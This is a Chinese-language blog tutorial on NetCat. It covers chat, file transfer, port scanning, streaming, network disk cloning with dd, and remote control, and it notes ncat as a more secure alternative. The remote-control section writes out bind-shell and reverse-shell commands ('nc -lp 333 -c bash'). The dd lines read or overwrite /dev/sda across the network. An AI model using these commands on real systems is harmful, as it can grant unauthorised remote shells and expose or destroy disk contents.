0x01nc

NetCat

介绍:

网络工具中的瑞士军刀—小身材(几M),大智慧(功能强大)

基本功能:

  1. 监听/传输
  2. 流媒体服务器
  3. 传输文本信息
  4. 传输文件
  5. 远程控制
  6. 远程硬盘克隆

功能实现:

帮助文档

参数: –h
举例: nc –h
显示

OpenBSD netcat (Debian patchlevel 1.130-3)      
//不同的操作系统的NC有细微的差别 
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-O length]
  [-P proxy_username] [-p source_port] [-q seconds] [-s source]
  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
  [-x proxy_address[:port]] [destination] [port]
//格式
//以下为基本命令
Command Summary:
-4  Use IPv4                        //默认使用IP4格式的地址
-6  Use IPv6                        //如果要使用IP6格式,要加参数
-b  Allow broadcast
-C  Send CRLF as line-ending        //不是-c(小写)
-D  Enable the debug socket option
-d  Detach from stdin
-F  Pass socket fd
-h  This help text                  //帮助
-I length   TCP receive buffer length
-i secs Delay interval for lines sent, ports scanned
-k  Keep inbound sockets open for multiple connects
-l  Listen mode, for inbound connects           //监听
-N  Shutdown the network socket after EOF on stdin
-n  Suppress name/port resolutions              //连接IP和 端口
-O length   TCP send buffer length
-P proxyuser    Username for proxy authentication
-p port Specify local port for remote connects      //开放端口
-q secs quit after EOF on stdin and delay of secs   //等待n秒后自动退出连接
-r  Randomize remote ports
-S  Enable the TCP MD5 signature option
-s addr Local source address
-T toskeyword   Set IP Type of Service
-t  Answer TELNET negotiation
-U  Use UNIX domain socket
-u  UDP mode                                //扫描UDP模式的参数
-V rtable   Specify alternate routing table
-v  Verbose                                 //显示详细信息
-w secs Timeout for connects and final net reads
-X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port]  Specify proxy address and port
-Z  DCCP mode
-z  Zero-I/O mode [used for scanning]               //扫描模式
Port numbers can be individual or ranges: lo-hi [inclusive]

利用nc作为聊天工具

1.  A机:nc –lp 333
2.  B机:nc –nv 192.168.43.74 333
3.  解释:
    a)  A机打开了333端口(p),并监听(l)333端口
    b)  B机连接(n)了192.168.43.74的333端口,并显示(v)详细信息

结果如图(注意IP地址不同)


简单互传.png

将命令输出内容进行传送(部分nc没有-c选项)

1.  A机:ls –al | nc –lp 333 
2.  B机:nc –nv 192.168.43.74 333 –q 1
3.  解释:
    a)  A机:显示详细目录(ls –al)通过管道(|)给nc的333端口
    b)   B机:连接用nc连接指定端口,并延时1秒(1)后断开(q)
4.  备注:出了点小意外,1秒后没有退出,后来发现-q好像是配合客户端(不是开放端口的那方)使用的
命令显示.png

扫描模式:(扫描并不准确)

1.  扫描TCP端口:nc –nvz 192.168.43.74 1-65535
2.  扫描UDP端口:nc –nvzu 192.168.43.74 1-65535
3.  解释:
    a)  nc进行IP连接,并显示详细信息,进行端口扫描(z)指定端口(1-65535)
    b)  nc进行IP连接,并显示详细信息,进行端口扫描(z)指定端口(1-65535)的UDP连接
4.  备注:发现没有端口开放(其实是假的。。。。),如果显示详细信息可能所有端口都会显示信息
命令显示.png

传送文件

1.  A:nc –lp 333 >1.mp4
2.  B:nc –nv 192.168.43.74 333 < hello.mp4 –q 1
3.  解说:
    a)  A开放并监听333端口,并把数据给1.mp4
    b)  B连接333端口,并把hello.mp4传送过去,并等待1s后自动关闭
4.  备注:这次自动退出成功
图片传输.png

加密传文件

1.  A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
2.  B:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
3.  解说:
    a)  开放端口,得到数据,通过管道,
        把数据解密(mcrypt --flush -Fbqd -a rijndael-256 -m ecb),把解密后的内容给1.mp4
    b)  把文件加密(mcrypt --flush -Fbq -a rijndael-256 -m ecb),通过管道符给nc传送过去
4.  备注:
    mcrypt系统不一定有,--flush不保存过渡文件,-Fbq(加密)-Fbqd(解密)
    rijndael-256 -m ecb(ECB的256位加密算法)

流媒体服务器

1.  A: cat 1.mp4 | nc -lp 333
2.  B: nc –nv 192.168.66.141 333 | mplayer -vo x11 -cache 3000 –
3.  解说:
    a)  A:把1.mp4的文件显示出来给333端口
    b)  B:把收到的文件交给mplayer用(-vo x11)解码,缓存3000(K)
4.  额,发现系统并没有mplayer

硬盘克隆(硬盘克隆是把删除的内容,哪些表面删除,实际还在盘里的被标记为删除的文件,也会被克隆)

1.  A:nc -lp 333 | dd of=/dev/sda
2.  B:dd if=/dev/sda | nc -nv192.168.66.141 333 –q 1
3.  解说:
    a)  A:把收到的内容输出到/dev/sda(硬盘)
    b)  B:把/dev/sda的内容进行块拷贝,输出为nc

远程控制(部分其他版本的nc可能没有-c(c小写)的选项)

1.  A:nc -lp 333 -c bash
2.  B:nc –nv 192.168.66.141 333
3.  解说:
    a)  A:把得到的内容传送给bash进行执行(-c)
    b)  B:连接nc,然后执行(ls)
4.  备注:
windows使用的是cmd,linux使用的是bash
置入特洛伊.png

nc的缺陷和改进

缺陷

  1. 通信的时候不能加密,也就是你开发的端口,大家都可以用
  2. 没有用户验证

解决

  1. 使用ncat
    基本用法同nc
    有加密通信通道
  2. 举例:
    A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
    B:ncat -nv 1.1.1.1 333 --ssl

备注:

ncat是nmap的一部分

  1. nc中可以正向也可以反向传输
    比如:
    正向传输
A:nc -lp 333 -c bash
B:nc –nv 192.168.66.141 333
A开放端口,把监听到的内容进行(bash)执行
反向方向:
A:nc -lp 333 -c bash
B:nc –nv 192.168.66.141 333 -c bash
A开放端口,后输入内容,让B进行执行
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容

  • 课程介绍: 在网络工具中有“瑞士军刀”美誉的Netcat, 首次出现在1995年,这么多年过去了互联网人士对它的喜...
    二潘阅读 879评论 0 0
  • nc 命令简介 nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,...
    StarShift阅读 1,123评论 0 0
  • 前言 在服务器之间传输文件有多种方法,比如scp,rz/sz,搭建ftp等等。 windows下感觉最方便的还是r...
    Songe_阅读 15,074评论 2 5
  • man 手册介绍 The nc (or netcat) utility is used for just abou...
    小小小码农阅读 3,428评论 0 1
  • 小学时,第一次被老师将作文当范文读,讲了个友谊的小插曲。被一同学问我的好友事情是不是真的?我那好友微微一笑,说了声...
    若凡666阅读 231评论 2 0